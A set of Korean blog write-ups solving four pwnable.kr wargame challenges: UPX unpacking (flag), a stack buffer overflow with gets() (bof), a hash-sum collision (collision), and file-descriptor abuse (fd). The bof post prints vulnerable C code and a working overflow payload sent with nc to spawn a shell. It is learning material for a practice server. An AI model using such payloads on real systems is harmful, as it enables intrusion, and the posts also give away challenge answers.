아빠가 포장이 된 선물을 주었다!! 열어보자~!~! 라는 문제이다.

리버싱 문제인 듯 하고 packed이런거 썼으니까 아마 패킹이 된 실행파일을 언패킹해서 푸는 문제인 것 같다.

일단 저 링크에 들어가서 파일을 다운받아 보자.


flag


플래그 파일이 있고 아까 패킹된 파일이라고 예상했으니까 일단 hxd로 헥스값을 확인해 봤다.


역시!! UPX로 패킹되어 있는 것을 확인 할 수 있다! 이제 언패킹부터 해보자.



이제 언패킹도 했고 실행을 시켜보았다.



실행시키면 이러한 문자열이 나온다. malloc을 실행시키고 strcpy함수를 통해 플래그를 복사한다고 한다. 이제 아이다를 통해서 해당 파일을 열어보자.

메인함수에 가보니까


dest에 flag를 복사하니까 주소를 잘 뒤지다 보면 flag가 노출이 되어 있을 테니까 플래그가 있는 위치고 이동해봤다.



오.. 무슨 플래그가 대놓고 나와있는 것을 확인할 수 있다~!~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] collision  (2) 2018.12.29
[pwnable.kr] fd  (0) 2018.12.27


할머니께서 버퍼오버플로우는 가장 쉬운 소프트웨어 취약점이라고 하셨다!! 이게 정말인가요~?~? 라는 문제다.

이전 문제들과 달리 nc로 접속하는 문제니까 우분투를 통해서 접속을 해보았다.


그냥 이러고 끝나버린다. bof공격을 해서 쉘을 따도록 하는 문제인 것 같다. 일단 문제에서 소스파일이랑 실행파일을 다운하라고 했으니까 다운로드 받아보자~!~!


bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

해당 파일과 소스코드이다.


코드는 매우 간단하다. func에서 key를 인자로 받고 함수 안에서 overflowme라는 크기가 32인 배열을 만든다. 그 후 gets함수를 통해 overflowme에 문자열을 입력받는다. 그 후 만약 key가 0xcafebabe와 같다면 /bin/sh를 시스템함수를 사용해서 실행시킨다. 


공격 시나리오는 매우 간단하다. gets함수는 매우 잘 알려있듯이 bof취약점이 존재하는 함수이고 이를 통해 key값을 변조하면 된다.

더미값을 알아내기 위해 아이다를 통해 확인해봤다.


배열의 시작주소는 ebp-2c이고 key값이 존재하는 곳은 ebp+8인 것을 알 수 있다. 즉 0x2c + 0x8 = 52이므로 52만큼 덮으면 key값을 변조할 수 있다. 이제 페이로드를 짜보자.


(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000



간단하게 성공~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] collision  (2) 2018.12.29
[pwnable.kr] fd  (0) 2018.12.27


아빠가 오늘 멋진 MD5 해쉬 collision을 이야기 해줬다! 나도 그거 비슷한 거를 해보고 싶다!!


원격접속 툴은 Xshell을 이용했고 사용자이름에 col 패스워드에 guest를 입력하고 접속하여 어떤 파일들이 있는지 먼저 살펴보았다.



역시 col에는 setuid가 걸려있었고 flag를 읽기위해서는 col을 실행시켜야 된다는 것을 확인할 수 있었다. 이제 col의 소스파일을 확인해보자~



음 hashcode가 0x21DD09EC이고 이 hashcode와 check_password함수에 첫번째 인자를 넣어서 리턴된 값이 같으면 system함수로 /bin/cat flag를 실행시켜준다. 여기서 check_password의 역할은 전달된 인자를 4바이트씩 잘라서 res에 더한다음 res를 리턴해주는 함수이다.


그래서 처음에는 아무생각 없이 


이렇게 넣었더니 패스코드가 20바이트는 돼야 한다고 한다. 위를 다시보니까 전달받은 인자가 20바이트가 아니면 저 문자열이 출력되고 0을 리턴하는 것을 볼 수 있었다. 대충 보고 하지좀 말아야 할텐데.... 그러면 저 0x21DD09EC를 5로 나눠서 다섯번 집어넣어주도록 하면 될 것 같다~



파이썬 켜서 계산해주고



또 안됨...뭐지..?



아....나머지가 있었다... 멍청이... 그럼 0x06c5cec8을 4개 넣고 여기에 4를 더한 0x06c5cecc를 넣어주면 될 것 같다.



성공~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] fd  (0) 2018.12.27


엄마~!~! 리눅스의 파일 디스크립터가 뭐야?? 라는 힌트를 준다.

pwnable.kr의 2222번 포트에 원격접속을 한다. 원격접속툴은 Xshell을 사용했다.



위와 같이 설정을 하고 사용자 이름에 fd, 패스워드에 guest를 입력하고 접속한다.



접속 성공!



어떤 파일이 있는지 확인해 보니까 fd와 소스파일 fd.c 그리고 flag파일이 있다. 여기서 fd파일의 권한이 -r-sr-x---로 실행권한이 x가 아닌 s로 setuid가 걸려있는 것을 확인 할 수 있었다~ setuid가 걸려있으면 실행될 때 파일 소유자의 권한을 갖게 된다. 즉! fd파일을 실행할 동안에는 root랑 fd_pwn만 읽을 수 있는 flag파일을 읽을 수 있다는 것이다! 이제 fd.c을 한번 확인해보자!



소스코드도 간단하다.


첫번째로 받은 인자 - 0x1234를 fd에 저장한 다음에 read(fd, buf, 32)라는 함수를 실행시켜준다. 그리고 만약 buf가 LETMEWIN이라면 system함수로 바로  /bin/cat flag를 실행시켜 주는 것을 확인할 수 있다.


read함수의 fd부분을 0 으로 바꿔주면 표준입력이 되므로 첫번째 인자로 0x1234를 넣어주고 프로그램이 실행된 후 LETMEWIN을 입력해주면 될 듯 하다.



0x1234는 10진수로 4660이니까



이렇게 써주면 플래그가 나온다~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] collision  (2) 2018.12.29

+ Recent posts